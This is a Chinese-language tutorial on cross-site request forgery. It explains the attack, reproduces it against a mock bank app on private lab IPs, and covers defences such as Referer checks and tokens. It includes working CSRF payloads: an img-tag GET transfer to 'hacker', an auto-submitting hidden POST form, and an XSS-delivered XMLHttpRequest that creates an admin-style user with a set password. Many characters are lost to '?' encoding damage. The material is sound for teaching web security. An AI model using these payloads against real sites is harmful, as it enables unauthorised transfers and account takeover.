目录
1跨站请求伪造概述
hacker ?户可以伪造admin ?户的转账请求，强制admin ?户，转账给任意?户
基本概念
????????跨站请求伪造（Cross Site Request Forgery,CSRF） 。
????????CSRF 是?种攻击，它强制终端?户在当前对其进?身份验证后的Web 应?程序上执??本意操作的攻 击。
????????CSRF 攻击的重点在于更改状态的请求，?不是盗取数据，因为攻击者?法查看伪造请求的响应。 ????????
????????借助于社?的?些帮助，例如，通过电?邮件或聊天发送链接，攻击者可以诱骗?户执?攻击者选择的 操作。如果受害者是普通?户，则成功的CSRF 攻击可以强制?户执?更改状态的请求，例如转移资 ?、修改密码等操作。如果受害者是管理账户，CSRF 攻击会危及整个Web 应?程序。
关键点
? ?
? # # 受害者没有退出登录????????CSRF 是?种欺骗受害者提交恶意请求的攻击。它继承了受害者的身份和特权，代表受害者执??本意 的、恶意的操作。
????????对于?多数站点，浏览器请求会?动发送与站点关联的所有凭据，例如?户的会话Cookie，IP 地址， Windows 域凭据等。因此，如果?户已对当前站点进?了身份验证，则该站点没有办法区分?个请求 是受害者发送的合法请求还是攻击者伪造受害者身份发送的?法请求。
?标
????????CSRF 的?标是更改?户账户的状态，攻击者利?CSRF 发送的请求都是更改状态的请求，?如，转账、 更改密码，购买商品等等。 CSRF 的场景中，攻击者是没有办法获得服务器的响应
2CSRF 的场景复现
? ? ? ? #?模拟银行网站
http://192.168.52.138/bank/self.php
? ? ? ? #恶意网站
http://192.168.52.138/csrf/get.html
?构造CSRF攻击连接
<img src='./1.jpg'><br />
<img src='http://192.168.16.109/bank/action.php?
username=hacker&money=100&submit=%E4%BA%A4%E6%98%93' alt='宝?在?，谁与争锋'>????????通过 标签构造GET 请求。这个GET 请求来?于受害者的浏览器，是?户发起的转账请求。 ????????受害者访问?站的时候加载了 标签。浏览器会根据 标签中的 SRC 属性，请求服务器资源 （GET ），会?动带上身份认证信息（Cookie）。
?
?CSRF场景建模
?3CSRF的类别
POST ?式
<meta charset='utf-8'>
<form name='csrf' action='http://192.168.16.113/bank/action.php'
method='post'>
<input type='hidden' name='username' value='hacker'>
<input type='hidden' name='money' value='100'>
</form>
<script>document.csrf.submit()</script>
<img src="./1.jpg" ><br />
<!--
<a href='javascript:document.csrf.submit()' style='color:red;fontsize:100px'>宝?在?，谁与争锋</a>
<br />4与XSS漏洞相结合
XSS和CSRF区别
XSS：把代码注入到网页中，由网页执行JS代码
CSRF：WEB服务器没有对请求做验证，攻击者可以伪造受害者的请求，继承受害者身份特权，向服务器其发送请求。? ? ? ? 攻击者可以利?XSS 触发CSRF 攻击。因为，可以利?JS 发送HTTP 请求。
???????? 经过研究受害?站的业务流程，可以构造如下代码
xmlhttp = new XMLHttpRequest();
xmlhttp.open('post','./user.action.php',false);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send('act=add&username=ajest&password=123456&password2=123456&button=%E6%B7%BB%E5%8A%A0%E7%94%A8%E6%88%B7&userid=0');
?
?5CSRF漏洞的防御
无效的防御
????????#使?秘密的Cookie
????????#仅接收POST 请求
? ? ? ? #多步交易
多步交易，有可能会被恶意攻击者预测? ? ? ? #URL 重写
用户的身份信息会暴露在URL 中
不建议通过引?另外?个漏洞来解决当前漏洞? ? ? ? #HURL 重写
所有安全机制的前提。有效的防御
? ? ? ? #验证Referer
当前URL 的上?个URL
是否可以伪造？? ? ? ? #添加Token 验证
一串随机字符串
每?次客户端的请求，服务器都要刷新Token
服务器创建了?个Token 值，存储在服务器中并且下发到浏览器
下次浏览器请求，需要提交该Token 值，服务器根据浏览器提交的Token 与服务器中存储的Token
进??对
如果?者?致，说明请求是正常业务流程。
如果?者不?致，说明请求有可能来?于恶意的攻击者。
Token 的设计，在PHP 中通常利?SESSION 机制来实现。